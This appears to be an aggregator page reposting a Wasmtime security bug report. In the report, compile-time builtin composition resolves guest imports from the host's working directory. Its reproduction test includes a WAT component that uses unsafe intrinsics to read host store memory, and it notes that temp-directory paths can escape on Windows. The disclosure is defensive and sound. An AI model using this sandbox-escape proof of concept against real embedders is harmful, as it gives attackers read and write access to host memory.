Compile-time builtin composition resolves guest imports from host working directory & has path failures
メンテナーはふだん 1 日以内に返信
関連するプルリクエストがすでにマージされています。
- #15025 @dyslexicsteak による — マージ済み
評価
- 難易度
- 5/5
- 見積もり時間
- 1週間以上
- 初心者へのやさしさ
- 15/100
- issue の種類
- バグ
- 明瞭さ
- おおむね明確
- 活発さ
- 活発
- 技術スタック
- rust, wasm
- 領域
- build-system, security
調査の方向性
Start with the reproduction test in the issue, which uses CodeBuilder with expose_unsafe_intrinsics and compile_time_builtins_binary_or_text, and run it to confirm a stray guest.wasm in the current directory satisfies the import. The bug spans import resolution (current working directory used as a search path), the temporary-directory artifact naming (colons, slashes, dotted versions), and the trust level given to built-ins. Done means the stray file is ignored, the import stays unsatisfied, and artifact names are safe on Windows and Linux. Because this is a security issue with no discussion yet, coordinate with maintainers before changing it.
索引モデルが issue の本文から書いたものです。
説明
Test Case & Steps to Reproduce
Create a Cargo package using Wasmtime with default features and the wat crate at version 1.262.0. Place the following test file in the tests directory and run with cargo test.
use std::{
env::current_dir,
fs::{remove_file, write},
path::Path,
};
use wasmtime::{
CodeBuilder, Engine, Result, Store,
component::{Component, Linker},
};
use wat::parse_str;
#[test]
fn stray_cwd_component_gets_intrinsics() -> Result<()> {
const NAME: &str = "escape-probe";
// The stray component that imports the unsafe intrinsics and reads a byte
// of the host's store data using them
const STRAY: &str = r#"
(component
(import "unsafe-intrinsics"
(instance $intrinsics
(export "store-data-address" (func (result u64)))
(export "u8-native-load" (func (param "pointer" u64) (result u8)))
)
)
(core func $sda (canon lower (func $intrinsics "store-data-address")))
(core func $load (canon lower (func $intrinsics "u8-native-load")))
(core module $m
(import "" "sda" (func $sda (result i64)))
(import "" "load" (func $load (param i64) (result i32)))
(func (export "get") (result i32) (call $load (call $sda)))
)
(core instance $i (instantiate $m (with "" (instance
(export "sda" (func $sda)) (export "load" (func $load))))))
(func (export "get") (result u32) (canon lift (core func $i "get")))
)
"#;
// The guest that imports the embedder's built-in and, by its own choice, an
// instance named NAME
let guest = format!(
r#"
(component
(import "host-api" (instance))
(import "{NAME}" (instance $x (export "get" (func (result u32)))))
(core func $get (canon lower (func $x "get")))
(core module $m
(import "" "get" (func $get (result i32)))
(func (export "run") (result i32) (call $get))
)
(core instance $i (instantiate $m (with "" (instance (export "get" (func $get))))))
(func (export "run") (result u32) (canon lift (core func $i "run")))
)
"#
);
// Write the stray component to the current dir
let path = current_dir()?.join(format!("{NAME}.wasm"));
write(&path, parse_str(STRAY)?)?;
// Make the engine, compile, and expose intrinsics to a built-in
let engine = Engine::default();
let result = (|| -> Result<Component> {
unsafe {
CodeBuilder::new(&engine)
.expose_unsafe_intrinsics("unsafe-intrinsics")
.compile_time_builtins_binary_or_text("host-api", b"(component)", None)?
.wasm_binary_or_text(guest.as_bytes(), Some(Path::new("guest.wat")))?
.compile_component()
}
})();
// Clean up the stray component file before ?
let _ = remove_file(&path);
let component = result?;
// Show the import going away, satisfied
let imports: Vec<String> = component
.component_type()
.imports(&engine)
.map(|(n, _)| n.to_string())
.collect();
println!("composed component imports: {imports:?}");
// Instantiate the guest and store our byte
let linker = Linker::new(&engine);
let mut store = Store::new(&engine, 0xA5_u8);
let instance = linker.instantiate(&mut store, &component)?;
// Run the guest and retrieve the value it read from the host's store data
let (value,) = instance
.get_typed_func::<(), (u32,)>(&mut store, "run")?
.call(&mut store, ())?;
println!("guest read: {value:#x}");
assert_eq!(value, 0xA5, "stray component didn't read host memory");
Ok(())
}
Expected Results
The stray file is ignored and the import remains unsatisfied, preserving the integrity of the trusted compute base and eventually causing the test to fail.
Actual Results
The current working directory is used as a search path to satisfy imports, which are then composed with compile-time built-ins with the same standing, granting them the ability to import Wasmtime unsafe intrinsics and thus full memory R/W of the host, reading from the store and passing the test.
There are also various other side effects and interactions, for example, a temporary filesystem directory is also used during composition to read and write intermediate artifacts by their name. Because interfaces are usually shaped "ns:pkg/if@ver", this results in OS errors on Windows due to the colon in the path. This is also problematic on both Linux and Windows due to the / in the path. Versions with dot-separated segments get their last segment chopped off as a file extension, so "ns:pkg/[email protected]" and "ns:pkg/[email protected]" are indistinguishable. This also has the consequence of single-letter namespaces being drive letters on Windows, allowing escape of the tempdir.
Versions and Environment
Wasmtime version or commit: ec63b69f3da9783db784eef6ba67635385926a2a
Operating system: Windows
Architecture: AMD64
Extra Info
This issue has security implications and affects versions of Wasmtime >=39.0.0 as of time of writing, namely, embedders actively using compile-time built-ins and unsafe intrinsics. These features are not considered tier 1 and so bugs in them do not get a standard security response from Wasmtime. I encourage embedders to audit their code.
- 主要言語
- Rust
- スター
- 18.8k
- フォーク
- 1.9k
- 平均マージ
- 23時間 57分
- マージ済み PR(30日)
- 392
環境構築
- Dockerfile・Docker Compose ファイルなし
- プルリクエストのテンプレートあり
- コントリビューションガイドを読む
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
bytecodealliance/wasmtime のほかの issue
-
bug wasm-proposal:exceptions wasmtime:debugging
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
bytecodealliance/wasmtime#14102 ·
メンテナーはふだん 1 日以内に返信
-
wasm-proposal:gc
難易度 2/5 1〜3時間 初心者へのやさしさ 62/100
bytecodealliance/wasmtime#13808 · コメント 2 件 ·
メンテナーはふだん 1 日以内に返信
-
Cranelift: Alias analysis panic with `compute_observed_stores`対応中かも @fitzgen が今日担当しました。 オープンbug cranelift
bytecodealliance/wasmtime#15053 · 担当者 1 名 ·
メンテナーはふだん 1 日以内に返信
-
bug
難易度 4/5 3〜5日 初心者へのやさしさ 24/100
bytecodealliance/wasmtime#15036 ·
メンテナーはふだん 1 日以内に返信
-
bug wasi-http
難易度 3/5 1〜2日 初心者へのやさしさ 32/100
bytecodealliance/wasmtime#15026 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
bytecodealliance/wasmtime の issue をすべて見る
似ている issue
-
bug dependencies kind:fix priority: P3 ready-for-agent
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
shep-pm/shep#1318 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
メンテナーはふだん 2 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
swc-project/swc-next#1165 ·
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 73/100
Alive24/shea-symphony#574 ·
-
難易度 1/5 1時間未満 初心者へのやさしさ 84/100
メンテナーはふだん 1 日以内に返信